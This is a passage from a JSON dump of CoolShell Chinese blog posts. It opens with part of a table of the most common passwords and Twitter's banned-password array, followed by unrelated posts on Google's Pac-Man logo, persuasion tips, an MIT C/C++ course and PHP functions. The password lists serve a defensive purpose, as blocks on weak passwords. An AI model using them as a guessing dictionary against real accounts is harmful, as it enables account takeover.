| soccer | rabbit | victor | brian | august |\n| 41 | hockey | peanut | tucker | mark | 3333 |\n| 42 | killer | john | princess | startrek | canada |\n| 43 | george | johnny | mercedes | sierra | blazer |\n| 44 | sexy | gandalf | 5150 | leather | cumming |\n| 45 | andrew | spanky | doggie | 232323 | hunting |\n| 46 | charlie | winter | zzzzzz | 4444 | kitty |\n| 47 | superman | brandy | gunner | beavis | rainbow |\n| 48 | asshole | compaq | horney | bigcock | 112233 |\n| 49 | fuckyou | carlos | bubba | happy | arthur |\n| 50 | dallas | tennis | 2112 | sophie | cream |\n| 51 | jessica | james | fred | ladies | calvin |\n| 52 | panties | mike | johnson | naughty | shaved |\n| 53 | pepper | brandon | xxxxx | giants | surfer |\n| 54 | 1111 | fender | tits | booty | samson |\n| 55 | austin | anthony | member | blonde | kelly |\n| 56 | william | blowme | boobs | fucked | paul |\n| 57 | daniel | ferrari | donald | golden | mine |\n| 58 | golfer | cookie | bigdaddy | 0 | king |\n| 59 | summer | chicken | bronco | fire | racing |\n| 60 | heather | maverick | penis | sandra | 5555 |\n| 61 | hammer | chicago | voyager | pookie | eagle |\n| 62 | yankees | joseph | rangers | packers | hentai |\n| 63 | joshua | diablo | birdie | einstein | newyork |\n| 64 | maggie | sexsex | trouble | dolphins | little |\n| 65 | biteme | hardcore | white | 0 | redwings |\n| 66 | enter | 666666 | topgun | chevy | smith |\n| 67 | ashley | willie | bigtits | winston | sticky |\n| 68 | thunder | welcome | bitches | warrior | cocacola |\n| 69 | cowboy | chris | green | sammy | animal |\n| 70 | silver | panther | super | slut | broncos |\n| 71 | richard | yamaha | qazwsx | 8675309 | private |\n| 72 | fucker | justin | magic | zxcvbnm | skippy |\n| 73 | orange | banana | lakers | nipples | marvin |\n| 74 | merlin | driver | rachel | power | blondes |\n| 75 | michelle | marine | slayer | victoria | enjoy |\n| 76 | corvette | angels | scott | asdfgh | girl |\n| 77 | bigdog | fishing | 2222 | vagina | apollo |\n| 78 | cheese | david | asdf | toyota | parker |\n| 79 | matthew | maddog | video | travis | qwert |\n| 80 | 121212 | hooters | london | hotdog | time |\n| 81 | patrick | wilson | 7777 | paris | sydney |\n| 82 | martin | butthead | marlboro | rock | women |\n| 83 | freedom | dennis | srinivas | xxxx | voodoo |\n| 84 | ginger | fucking | internet | extreme | magnum |\n| 85 | blowjob | captain | action | redskins | juice |\n| 86 | nicole | bigdick | carter | erotic | abgrtyu |\n| 87 | sparky | chester | jasper | dirty | 777777 |\n| 88 | yellow | smokey | monster | ford | dreams |\n| 89 | camaro | xavier | teresa | freddy | maxwell |\n| 90 | secret | steven | jeremy | arsenal | music |\n| 91 | dick | viking | 11111111 | access14 | rush2112 |\n| 92 | falcon | snoopy | bill | wolf | russia |\n| 93 | taylor | blue | crystal | nipple | scorpion |\n| 94 | 111111 | eagles | peter | iloveyou | rebecca |\n| 95 | 131313 | winner | pussies | alex | tester |\n| 96 | 123123 | samantha | cock | florida | mistress |\n| 97 | bitch | house | beer | eric | phantom |\n| 98 | hello | miller | rocket | legend | billy |\n| 99 | scooter | flower | theman | movie | 6666 |\n| 100 | please | jack | oliver | success | albert |\n\n\n打开twitter注册页看到的禁用口令\n\n\n//<![CDATA[ twttr.BANNED\\_PASSWORDS = [“000000”, “111111”, “11111111”, “112233”, “121212”, “123123”, “123456”, “1234567”, “12345678”, “123456789”, “131313”, “232323”, “654321”, “666666”, “696969”, “777777”, “7777777”, “8675309”, “987654”, “aaaaaa”, “abc123”, “abc123”, “abcdef”, “abgrtyu”, “access”, “access14”, “action”, “albert”, “alberto”, “alexis”, “alejandra”, “alejandro”, “amanda”, “amateur”, “america”, “andrea”, “andrew”, “angela”, “angels”, “animal”, “anthony”, “apollo”, “apples”, “arsenal”, “arthur”, “asdfgh”, “asdfgh”, “ashley”, “asshole”, “august”, “austin”, “badboy”, “bailey”, “banana”, “barney”, “baseball”, “batman”, “beatriz”, “beaver”, “beavis”, “bigcock”, “bigdaddy”, “bigdick”, “bigdog”, “bigtits”, “birdie”, “bitches”, “biteme”, “blazer”, “blonde”, “blondes”, “blowjob”, “blowme”, “bond007”, “bonita”, “bonnie”, “booboo”, “booger”, “boomer”, “boston”, “brandon”, “brandy”, “braves”, “brazil”, “bronco”, “broncos”, “bulldog”, “buster”, “butter”, “butthead”, “calvin”, “camaro”, “cameron”, “canada”, “captain”, “carlos”, “carter”, “casper”, “charles”, “charlie”, “cheese”, “chelsea”, “chester”, “chicago”, “chicken”, “cocacola”, “coffee”, “college”, “compaq”, “computer”, “cookie”, “cooper”, “corvette”, “cowboy”, “cowboys”, “crystal”, “cumming”, “cumshot”, “dakota”, “dallas”, “daniel”, “danielle”, “debbie”, “dennis”, “diablo”, “diamond”, “doctor”, “doggie”, “dolphin”, “dolphins”, “donald”, “dragon”, “dreams”, “driver”, “eagle1”, “eagles”, “edward”, “einstein”, “erotic”, “estrella”, “extreme”, “falcon”, “fender”, “ferrari”, “firebird”, “fishing”, “florida”, “flower”, “flyers”, “football”, “forever”, “freddy”, “freedom”, “fucked”, “fucker”, “fucking”, “fuckme”, “fuckyou”, “gandalf”, “gateway”, “gators”, “gemini”, “george”, “giants”, “ginger”, “golden”, “golfer”, “gordon”, “gregory”, “guitar”, “gunner”, “hammer”, “hannah”, “hardcore”, “harley”, “heather”, “helpme”, “hentai”, “hockey”, “hooters”, “horney”, “hotdog”, “hunter”, “hunting”, “iceman”, “iloveyou”, “internet”, “iwantu”, “jackie”, “jackson”, “jaguar”, “jasmine”, “jasper”, “jennifer”, “jeremy”, “jessica”, “johnny”, “johnson”, “jordan”, “joseph”, “joshua”, “junior”, “justin”, “killer”, “knight”, “ladies”, “lakers”, “lauren”, “leather”, “legend”, “letmein”, “letmein”, “little”, “london”, “lovers”, “maddog”, “madison”, “maggie”, “magnum”, “marine”, “mariposa”, “marlboro”, “martin”, “marvin”, “master”, “matrix”, “matthew”, “maverick”, “maxwell”, “melissa”, “member”, “mercedes”, “merlin”, “michael”, “michelle”, “mickey”, “midnight”, “miller”, “mistress”, “monica”, “monkey”, “monkey”, “monster”, “morgan”, “mother”, “mountain”, “muffin”, “murphy”, “mustang”, “naked”, “nascar”, “nathan”, “naughty”, “ncc1701”, “newyork”, “nicholas”, “nicole”, “nipple”, “nipples”, “oliver”, “orange”, “packers”, “panther”, “panties”, “parker”, “password”, “password”, “password1”, “password12”, “password123”, “patrick”, “peaches”, “peanut”, “pepper”, “phantom”, “phoenix”, “player”, “please”, “pookie”, “porsche”, “prince”, “princess”, “private”, “purple”, “pussies”, “qazwsx”, “qwerty”, “qwertyui”, “rabbit”, “rachel”, “racing”, “raiders”, “rainbow”, “ranger”, “rangers”, “rebecca”, “redskins”, “redsox”, “redwings”, “richard”, “robert”, “roberto”, “rocket”, “rosebud”, “runner”, “rush2112”, “russia”, “samantha”, “sammy”, “samson”, “sandra”, “saturn”, “scooby”, “scooter”, “scorpio”, “scorpion”, “sebastian”, “secret”, “sexsex”, “shadow”, “shannon”, “shaved”, “sierra”, “silver”, “skippy”, “slayer”, “smokey”, “snoopy”, “soccer”, “sophie”, “spanky”, “sparky”, “spider”, “squirt”, “srinivas”, “startrek”, “starwars”, “steelers”, “steven”, “sticky”, “stupid”, “success”, “suckit”, “summer”, “sunshine”, “superman”, “surfer”, “swimming”, “sydney”, “tequiero”, “taylor”, “tennis”, “teresa”, “tester”, “testing”, “theman”, “thomas”, “thunder”, “thx1138”, “tiffany”, “tigers”, “tigger”, “tomcat”, “topgun”, “toyota”, “travis”, “trouble”, “trustno1”, “tucker”, “turtle”, “twitter”, “united”, “vagina”, “victor”, “victoria”, “viking”, “voodoo”, “voyager”, “walter”, “warrior”, “welcome”, “whatever”, “william”, “willie”, “wilson”, “winner”, “winston”, “winter”, “wizard”, “xavier”, “xxxxxx”, “xxxxxxxx”, “yamaha”, “yankee”, “yankees”, “yellow”, “zxcvbn”, “zxcvbnm”, “zzzzzz”];\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![CSDN明文口令泄露的启示](../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg)](https://coolshell.cn/articles/6193.html)[CSDN明文口令泄露的启示](https://coolshell.cn/articles/6193.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5353.html)[你会做Web上的用户登录功能吗？](https://coolshell.cn/articles/5353.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [![破解你的口令](../wp-content/uploads/2011/02/passwords-150x150.png)](https://coolshell.cn/articles/3801.html)[破解你的口令](https://coolshell.cn/articles/3801.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/2428.html)[如何管理并设计你的口令](https://coolshell.cn/articles/2428.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/2078.html)[如何防范密码被破解](https://coolshell.cn/articles/2078.html)\nThe post [Twitter的禁用口令](https://coolshell.cn/articles/2451.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-5-22 Google吃豆游戏Logo的源码.md",
    "content": "---\nlayout: post\ntitle: Google吃豆游戏Logo的源码\ndate: 2010/5/22/ 15:42:10\nupdated: 2010/5/22/ 15:42:10\nstatus: publish\npublished: true\ntype: post\n---\n\n这两天，Google的logo换成了那个经典的吃豆游戏，很强大，也引发了大众的热议。如果你想要其源代码的话，你可以到这里下载：[**http://github.com/macek/google\\_pacman**](http://github.com/macek/google_pacman)。而在线演示在这里：<http://macek.github.com/google_pacman/>。\n\n\n![Google 吃豆游戏 Logo](../wp-content/uploads/2010/05/google_pacman.jpg \"Google 吃豆游戏 Logo\")Google 吃豆游戏 Logo\n需要注意的是，那个源程序在你的本机是不会有声音的，因为这跟flash的设置有关系，如果你需要有游戏声音，你还需要有以下的设置：\n\n\n\n```\n  1. 打开 Adobe Flash Control Panel:\n     <http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager04.html>\n  2. 点击 Edit Locations\n  3. 点击 Add Location\n  4. 浏览你的 google_pacman 目录\n  5. 点击 Add\n```\n\n需要注意的是，这个源程序并不是Google官方发布的，只不过是某些好事者的网友发布的，不知道在日后的[Google的Logo归档](http://www.google.com/logos/index.html)中是否会见到这个Logo。顺便说一下，根据 [Google官方BLOG](http://googleblog.blogspot.com/2010/05/celebrating-pac-mans-30th-birthday.html)，这个程序是由 Marcin Wichary 和 Ryan Germick做的。真是又应了那句话——“如果一个应用能被Javascript实现，那么其最终会被Javascript实现”。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\nThe post [Google吃豆游戏Logo的源码](https://coolshell.cn/articles/2466.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-5-23 说服他人的5种技巧 – Guy Kawasaki.md",
    "content": "---\nlayout: post\ntitle: 说服他人的5种技巧 – Guy Kawasaki\ndate: 2010/5/23/ 0:20:17\nupdated: 2010/5/23/ 0:20:17\nstatus: publish\npublished: true\ntype: post\n---\n\n硅谷传奇创业者+精神领袖 Guy Kawasaki最近写了一篇新文章总结了以下5种说服他人的技巧。希望对大家对付老外有帮助。摘要如下：https://www.openforum.com/media/db4cb6ac-3e35-48cc-87cb-19fe7b299c5c_detail.jpg \"little gift\"\n\n\n1. **先给予，后索取** (Be the first to give )。研究表明，我们容易被给我们帮过忙的人说服：有些服务员给我们结账的时候带来口香糖，我们一般给他们的小费多些。工作中我们更倾向于给帮助过我们的人更多支持…\n2. **不要给对方太多选择** (don’t offer too many choices)：不论是给用户选择，还是给员工的奖励机制，太多的选择经常会给人带来挫折感…\n3. **不要以自我为中心辩护**(argue against self-interest)。在说服别人的过程中，信任是最关键的。有时候在大力鼓吹之前承认自己方面的一些小不足可以提高信任感…\n4. **失去比得到更有说服力** (losses are more persuasive than gains)。告诉对方如果不接受你的意见或者不买的你的产品会失去什么，要比只是说明他们会得到什么要更能说服人…\n5. **让对方觉得自己已经取得了一定进步** (make people feel as if they’ve already made progress toward a goal)。例如以下两种推销洗车会员卡服务的方法，方法2的顾客保持率是方法1的两倍。\n\t1. 洗八次赠一次\n\t2. 洗十次车赠一次，第一次算免费赠送\n\n\n原文[link](http://www.openforum.com/idea-hub/topics/the-world/article/5-ways-to-be-persuasive-guy-kawasaki)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/1265.html)[恢复Ext3下被删除的文件](https://coolshell.cn/articles/1265.html)\n* [![程序员的谎谬之言还是至理名言？](../wp-content/uploads/2011/04/wisdom-225x300-150x150.jpg)](https://coolshell.cn/articles/4235.html)[程序员的谎谬之言还是至理名言？](https://coolshell.cn/articles/4235.html)\n* [![如何超过大多数人](../wp-content/uploads/2019/06/competition-360x200-1-150x150.png)](https://coolshell.cn/articles/19464.html)[如何超过大多数人](https://coolshell.cn/articles/19464.html)\n* [![在线代码编译服务Codepad.org](../wp-content/uploads/2009/08/codepad2-150x150.jpg)](https://coolshell.cn/articles/1310.html)[在线代码编译服务Codepad.org](https://coolshell.cn/articles/1310.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/1092.html)[Top 200的全球开发者BLOG](https://coolshell.cn/articles/1092.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/1035.html)[16个简单实用的.htaccess小贴示](https://coolshell.cn/articles/1035.html)\nThe post [说服他人的5种技巧 – Guy Kawasaki](https://coolshell.cn/articles/2460.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-5-23 （麻省理工免费课程）C语言内存管理和C++面向对象编程.md",
    "content": "---\nlayout: post\ntitle: （麻省理工免费课程）C语言内存管理和C++面向对象编程\ndate: 2010/5/23/ 0:15:5\nupdated: 2010/5/23/ 0:15:5\nstatus: publish\npublished: true\ntype: post\n---\n\n此课程有全部[讲义](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-088-introduction-to-c-memory-management-and-c-object-oriented-programming-january-iap-2010/lecture-notes)和[习题](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-088-introduction-to-c-memory-management-and-c-object-oriented-programming-january-iap-2010/assignments)。\n\n\n课程描述实在得令人发指。翻译如下：\n\n\n\n> 您是否由于自己的Python程序比同僚们的C程序慢而垂头丧气？你是否想不用JAVA实现面向对象？加入我们，学习C和C++吧！我们带您从简单的C程序入手，深入C语言的内存管理，简介C++里的面向对象，深入C++面向对象的高级功能以及STL。我们还教您一些以后面试用得着的技巧和知识。\n> \n> \n> 原文：\n> \n> \n> Ever hang your head in shame after your Python program wasn’t as fast as your friend’s C program? Ever wish you could use objects without having to use Java? Join us for this fun introduction to C and C++! We will take you through a tour that will start with writing simple C programs, go deep into the caves of C memory manipulation, resurface with an introduction to using C++ classes, dive deeper into advanced C++ class use and the C++ Standard Template Libraries. We’ll wrap up by teaching you some tricks of the trade that you may need for tech interviews.\n> \n> \n\n\n麻省理工开放课程里有很多计算机科学的宝贝。不仅有一流的教程，还有习题和答案。适合英语不错的程序员平时充电。\n\n\n[课程地址](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-088-introduction-to-c-memory-management-and-c-object-oriented-programming-january-iap-2010/index.htm#features)（英文）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/3723.html)[（麻省理工免费课程）计算机科学和编程导论](https://coolshell.cn/articles/3723.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\nThe post [（麻省理工免费课程）C语言内存管理和C++面向对象编程](https://coolshell.cn/articles/2474.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-5-6 九个PHP很有用的功能.md",
    "content": "---\nlayout: post\ntitle: 九个PHP很有用的功能\ndate: 2010/5/6/ 0:37:49\nupdated: 2010/5/6/ 0:37:49\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是九个PHP中很有用的功能，不知道你用过了吗？\n\n\n#### 1. 函数的任意数目的参数\n\n\n你可能知道PHP允许你定义一个默认参数的函数。但你可能并不知道PHP还允许你定义一个完全任意的参数的函数\n\n\n下面是一个示例向你展示了默认参数的函数：\n\n\n\n```\n\n// 两个默认参数的函数\nfunction foo($arg1 = '', $arg2 = '') {\n\n\techo \"arg1: $arg1\\n\";\n\techo \"arg2: $arg2\\n\";\n\n}\n\nfoo('hello','world');\n/* 输出:\narg1: hello\narg2: world\n*/\n\nfoo();\n/* 输出:\narg1:\narg2:\n*/\n\n```\n\n现在我们来看一看一个不定参数的函数，其使用到了?[func\\_get\\_args()](http://us2.php.net/manual/en/function.func-get-args.php)方法：  \n\n\n\n\n\n```\n\n// 是的，形参列表为空\nfunction foo() {\n\n\t// 取得所有的传入参数的数组\n\t$args = func_get_args();\n\n\tforeach ($args as $k => $v) {\n\t\techo \"arg\".($k+1).\": $v\\n\";\n\t}\n\n}\n\nfoo();\n/* 什么也不会输出 */\n\nfoo('hello');\n/* 输出\narg1: hello\n*/\n\nfoo('hello', 'world', 'again');\n/* 输出\narg1: hello\narg2: world\narg3: again\n*/\n\n```\n\n#### 2. 使用 Glob() 查找文件\n\n\n很多PHP的函数都有一个比较长的自解释的函数名，但是，当你看到?[glob()](http://us.php.net/manual/en/function.glob.php) 的时候，你可能并不知道这个函数是用来干什么的，除非你对它已经很熟悉了。\n\n\n你可以认为这个函数就好?[scandir()](http://php.net/manual/en/function.scandir.php) 一样，其可以用来查找文件。\n\n\n\n```\n\n// 取得所有的后缀为PHP的文件\n$files = glob('*.php');\n\nprint_r($files);\n/* 输出:\nArray\n(\n    [0] => phptest.php\n    [1] => pi.php\n    [2] => post_output.php\n    [3] => test.php\n)\n*/\n\n```\n\n你还可以查找多种后缀名\n\n\n\n```\n\n// 取PHP文件和TXT文件\n$files = glob('*.{php,txt}', GLOB_BRACE);\n\nprint_r($files);\n/* 输出:\nArray\n(\n    [0] => phptest.php\n    [1] => pi.php\n    [2] => post_output.php\n    [3] => test.php\n    [4] => log.txt\n    [5] => test.txt\n)\n*/\n\n```\n\n你还可以加上路径：\n\n\n\n```\n\n$files = glob('../images/a*.jpg');\n\nprint_r($files);\n/* 输出:\nArray\n(\n    [0] => ../images/apple.jpg\n    [1] => ../images/art.jpg\n)\n*/\n\n```\n\n如果你想得到绝对路径，你可以调用?[realpath()](http://php.net/manual/en/function.realpath.php) 函数：\n\n\n\n```\n\n$files = glob('../images/a*.jpg');\n\n// applies the function to each array element\n$files = array_map('realpath',$files);\n\nprint_r($files);\n/* output looks like:\nArray\n(\n    [0] => C:\\wamp\\www\\images\\apple.jpg\n    [1] => C:\\wamp\\www\\images\\art.jpg\n)\n*/\n\n```\n\n#### 3. 内存使用信息\n\n\n观察你程序的内存使用能够让你更好的优化你的代码。\n\n\nPHP 是有垃圾回收机制的，而且有一套很复杂的内存管理机制。你可以知道你的脚本所使用的内存情况。要知道当前内存使用情况，你可以使用?[memory\\_get\\_usage()](http://us2.php.net/manual/en/function.memory-get-usage.php) 函数，如果你想知道使用内存的峰值，你可以调用[memory\\_get\\_peak\\_usage()](http://us2.php.net/manual/en/function.memory-get-peak-usage.php) 函数。\n\n\n\n```\n\necho \"Initial: \".memory_get_usage().\" bytes \\n\";\n/* 输出\nInitial: 361400 bytes\n*/\n\n// 使用内存\nfor ($i = 0; $i < 100000; $i++) {\n\t$array []= md5($i);\n}\n\n// 删除一半的内存\nfor ($i = 0; $i < 100000; $i++) {\n\tunset($array[$i]);\n}\n\necho \"Final: \".memory_get_usage().\" bytes \\n\";\n/* prints\nFinal: 885912 bytes\n*/\n\necho \"Peak: \".memory_get_peak_usage().\" bytes \\n\";\n/* 输出峰值\nPeak: 13687072 bytes\n*/\n\n```\n\n#### 4. CPU使用信息\n\n\n使用?[getrusage()](http://us2.php.net/manual/en/function.getrusage.php) 函数可以让你知道CPU的使用情况。注意，这个功能在Windows下不可用。\n\n\n\n```\n\nprint_r(getrusage());\n/* 输出\nArray\n(\n    [ru_oublock] => 0\n    [ru_inblock] => 0\n    [ru_msgsnd] => 2\n    [ru_msgrcv] => 3\n    [ru_maxrss] => 12692\n    [ru_ixrss] => 764\n    [ru_idrss] => 3864\n    [ru_minflt] => 94\n    [ru_majflt] => 0\n    [ru_nsignals] => 1\n    [ru_nvcsw] => 67\n    [ru_nivcsw] => 4\n    [ru_nswap] => 0\n    [ru_utime.tv_usec] => 0\n    [ru_utime.tv_sec] => 0\n    [ru_stime.tv_usec] => 6269\n    [ru_stime.tv_sec] => 0\n)\n\n*/\n\n```\n\n这个结构看上出很晦涩，除非你对CPU很了解。下面一些解释：\n\n\n* ru\\_oublock: 块输出操作\n* ru\\_inblock: 块输入操作\n* ru\\_msgsnd: 发送的message\n* ru\\_msgrcv: 收到的message\n* ru\\_maxrss: 最大驻留集大小\n* ru\\_ixrss: 全部共享内存大小\n* ru\\_idrss:全部非共享内存大小\n* ru\\_minflt: 页回收\n* ru\\_majflt: 页失效\n* ru\\_nsignals: 收到的信号\n* ru\\_nvcsw: 主动上下文切换\n* ru\\_nivcsw: 被动上下文切换\n* ru\\_nswap: 交换区\n* ru\\_utime.tv\\_usec: 用户态时间 (microseconds)\n* ru\\_utime.tv\\_sec: 用户态时间(seconds)\n* ru\\_stime.tv\\_usec: 系统内核时间 (microseconds)\n* ru\\_stime.tv\\_sec: 系统内核时间?(seconds)\n\n\n要看到你的脚本消耗了多少CPU，我们需要看看“用户态的时间”和“系统内核时间”的值。秒和微秒部分是分别提供的，您可以把微秒值除以100万，并把它添加到秒的值后，可以得到有小数部分的秒数。\n\n\n\n```\n\n// sleep for 3 seconds (non-busy)\nsleep(3);\n\n$data = getrusage();\necho \"User time: \".\n\t($data['ru_utime.tv_sec'] +\n\t$data['ru_utime.tv_usec'] / 1000000);\necho \"System time: \".\n\t($data['ru_stime.tv_sec'] +\n\t$data['ru_stime.tv_usec'] / 1000000);\n\n/* 输出\nUser time: 0.011552\nSystem time: 0\n*/\n\n```\n\nsleep是不占用系统时间的，我们可以来看下面的一个例子：\n\n\n\n```\n\n// loop 10 million times (busy)\nfor($i=0;$i<10000000;$i++) {\n\n}\n\n$data = getrusage();\necho \"User time: \".\n\t($data['ru_utime.tv_sec'] +\n\t$data['ru_utime.tv_usec'] / 1000000);\necho \"System time: \".\n\t($data['ru_stime.tv_sec'] +\n\t$data['ru_stime.tv_usec'] / 1000000);\n\n/* 输出\nUser time: 1.424592\nSystem time: 0.004204\n*/\n\n```\n\n这花了大约14秒的CPU时间，几乎所有的都是用户的时间，因为没有系统调用。\n\n\n系统时间是CPU花费在系统调用上的上执行内核指令的时间。下面是一个例子：\n\n\n\n```\n\n$start = microtime(true);\n// keep calling microtime for about 3 seconds\nwhile(microtime(true) - $start < 3) {\n\n}\n\n$data = getrusage();\necho \"User time: \".\n\t($data['ru_utime.tv_sec'] +\n\t$data['ru_utime.tv_usec'] / 1000000);\necho \"System time: \".\n\t($data['ru_stime.tv_sec'] +\n\t$data['ru_stime.tv_usec'] / 1000000);\n\n/* prints\nUser time: 1.088171\nSystem time: 1.675315\n*/\n\n```\n\n我们可以看到上面这个例子更耗CPU。\n\n\n#### 5. 系统常量\n\n\nPHP 提供非常有用的[系统常量](http://php.net/manual/en/language.constants.predefined.php) 可以让你得到当前的行号 (\\_\\_LINE\\_\\_)，文件 (\\_\\_FILE\\_\\_)，目录 (\\_\\_DIR\\_\\_)，函数名 (\\_\\_FUNCTION\\_\\_)，类名(\\_\\_CLASS\\_\\_)，方法名(\\_\\_METHOD\\_\\_) 和名字空间 (\\_\\_NAMESPACE\\_\\_)，很像C语言。\n\n\n我们可以以为这些东西主要是用于调试，当也不一定，比如我们可以在include其它文件的时候使用?\\_\\_FILE\\_\\_ (当然，你也可以在 PHP 5.3以后使用 \\_\\_DIR\\_\\_ )，下面是一个例子。\n\n\n\n```\n\n// this is relative to the loaded script's path\n// it may cause problems when running scripts from different directories\nrequire_once('config/database.php');\n\n// this is always relative to this file's path\n// no matter where it was included from\nrequire_once(dirname(__FILE__) . '/config/database.php');\n\n```\n\n下面是使用 \\_\\_LINE\\_\\_ 来输出一些debug的信息，这样有助于你调试程序：\n\n\n\n```\n\n// some code\n// ...\nmy_debug(\"some debug message\", __LINE__);\n/* 输出\nLine 4: some debug message\n*/\n\n// some more code\n// ...\nmy_debug(\"another debug message\", __LINE__);\n/* 输出\nLine 11: another debug message\n*/\n\nfunction my_debug($msg, $line) {\n\techo \"Line $line: $msg\\n\";\n}\n\n```\n\n#### 6.生成唯一的ID\n\n\n有很多人使用 md5() 来生成一个唯一的ID，如下所示：\n\n\n\n```\n\n// generate unique string\necho md5(time() . mt_rand(1,1000000));\n\n```\n\n其实，PHP中有一个叫?[uniqid()](http://us2.php.net/manual/en/function.uniqid.php) 的函数是专门用来干这个的：\n\n\n\n```\n\n// generate unique string\necho uniqid();\n/* 输出\n4bd67c947233e\n*/\n\n// generate another unique string\necho uniqid();\n/* 输出\n4bd67c9472340\n*/\n\n```\n\n可能你会注意到生成出来的ID前几位是一样的，这是因为生成器依赖于系统的时间，这其实是一个非常不错的功能，因为你是很容易为你的这些ID排序的。这点MD5是做不到的。\n\n\n你还可以加上前缀避免重名：\n\n\n\n```\n\n// 前缀\necho uniqid('foo_');\n/* 输出\nfoo_4bd67d6cd8b8f\n*/\n\n// 有更多的熵\necho uniqid('',true);\n/* 输出\n4bd67d6cd8b926.12135106\n*/\n\n// 都有\necho uniqid('bar_',true);\n/* 输出\nbar_4bd67da367b650.43684647\n*/\n\n```\n\n而且，生成出来的ID会比MD5生成的要短，这会让你节省很多空间。\n\n\n#### 7. 序列化\n\n\n你是否会把一个比较复杂的数据结构存到数据库或是文件中？你并不需要自己去写自己的算法。PHP早已为你做好了，其提供了两个函数：?[serialize()](http://php.net/manual/en/function.serialize.php) 和 [unserialize()](http://www.php.net/manual/en/function.unserialize.php):\n\n\n\n```\n\n// 一个复杂的数组\n$myvar = array(\n\t'hello',\n\t42,\n\tarray(1,'two'),\n\t'apple'\n);\n\n// 序列化\n$string = serialize($myvar);\n\necho $string;\n/* 输出\na:4:{i:0;s:5:\"hello\";i:1;i:42;i:2;a:2:{i:0;i:1;i:1;s:3:\"two\";}i:3;s:5:\"apple\";}\n*/\n\n// 反序例化\n$newvar = unserialize($string);\n\nprint_r($newvar);\n/* 输出\nArray\n(\n    [0] => hello\n    [1] => 42\n    [2] => Array\n        (\n            [0] => 1\n            [1] => two\n        )\n\n    [3] 